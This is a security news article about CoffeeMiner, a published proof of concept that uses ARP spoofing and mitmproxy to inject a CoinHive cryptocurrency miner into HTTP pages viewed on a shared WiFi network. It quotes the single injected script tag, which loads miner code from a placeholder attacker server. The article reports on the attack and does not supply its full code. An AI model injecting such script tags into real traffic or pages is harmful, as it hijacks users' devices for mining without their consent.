Thursday, May 1, 2025
HomeSecurity NewsCoffeeMiner - Hacking into WiFi Networks to Inject Cryptocurrency Miners

CoffeeMiner – Hacking into WiFi Networks to Inject Cryptocurrency Miners

Published on

SIEM as a Service

Follow Us on Google News

Cryptocurrency Miners are in the raise starting from last year, more than 500 million computers are mining cryptoCurrency in their browsers without the user’s knowledge.

A developer named Arnau published the CoffeeMiner script which intercepts the traffic between the users and the routers to inject scripts into HTML pages.

Arnau published a PoC explaining how a MITM attack performed (Man(Person)-In-The-Middle) to inject some javascript in the HTML pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.

Attack Scenario – CoffeeMiner

CoffeeMiner employees ARPspoofing(used for resolving network layer address (IP) into link layer address (MAC)) for spoofing messages onto a local area network.

- Advertisement - Google News

Also Read Xerosploit – Toolkit to Perform MITM, Spoofing, DOS, Images Sniffing/Replacement, WD Attacks

The mitmproxy used to analyze the traffic flow and to edit the traffic data. Here he injected a line of code into HTML pages that call the javascript cryptocurrency miner which is deployed in the in the attacker machine.

Injected Code

<script src=”http://httpserverIP:8000/script.js”></script>

Arnau used CoinHive javascript miner, “Coinhive offers a JavaScript miner for the Monero Blockchain that can be embedded into other Websites. The users run the miner directly in their Browser and mine XMR for the site owner in turn for an ad-free experience, in-game currency or whatever incentives they are availing to their users/visitors”.

He set up a Virtual box environment to demonstrate this and also published PoC video.

Now the CoffeeMiner works only with HTTP version and not with HTTPs, Arnau said he will be adding sslstrip to inject with HTTPS sites and autonomous Nmap scan, to add the IPs detected to the CoffeeMiner victim’s list.

The complete source code of CoffeeMiner published in GitHub.

Gurubaran
Gurubaran
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Latest articles

Netgear EX6200 Flaw Enables Remote Access and Data Theft

Security researchers have disclosed three critical vulnerabilities in the Netgear EX6200 Wi-Fi range extender...

Tesla Model 3 VCSEC Vulnerability Lets Hackers Run Arbitrary Code

A high security flaw in Tesla’s Model 3 vehicles, disclosed at the 2025 Pwn2Own...

Quantum Computing and Cybersecurity – What CISOs Need to Know Now

As quantum computing transitions from theoretical research to practical application, Chief Information Security Officers...

Apache ActiveMQ Vulnerability Lets Remote Hackers Execute Arbitrary Code

A high vulnerability in Apache ActiveMQ’s .NET Message Service (NMS) library has been uncovered,...

Resilience at Scale

Why Application Security is Non-Negotiable

The resilience of your digital infrastructure directly impacts your ability to scale. And yet, application security remains a critical weak link for most organizations.

Application Security is no longer just a defensive play—it’s the cornerstone of cyber resilience and sustainable growth. In this webinar, Karthik Krishnamoorthy (CTO of Indusface) and Phani Deepak Akella (VP of Marketing – Indusface), will share how AI-powered application security can help organizations build resilience by

Discussion points


Protecting at internet scale using AI and behavioral-based DDoS & bot mitigation.
Autonomously discovering external assets and remediating vulnerabilities within 72 hours, enabling secure, confident scaling.
Ensuring 100% application availability through platforms architected for failure resilience.
Eliminating silos with real-time correlation between attack surface and active threats for rapid, accurate mitigation

More like this

FBI Alerts Public to Scammers Posing as IC3 Officials in Fraud Scheme

The Federal Bureau of Investigation (FBI) has issued a warning regarding an emerging scam...

New ‘Waiting Thread Hijacking’ Malware Technique Evades Modern Security Measures

Security researchers have unveiled a new malware process injection technique dubbed "Waiting Thread Hijacking"...

EU’s GDPR Article 7 Poses New Challenges for Businesses To Secure AI-Generated Image Data

As businesses worldwide embrace digital transformation, the European Union’s General Data Protection Regulation (GDPR),...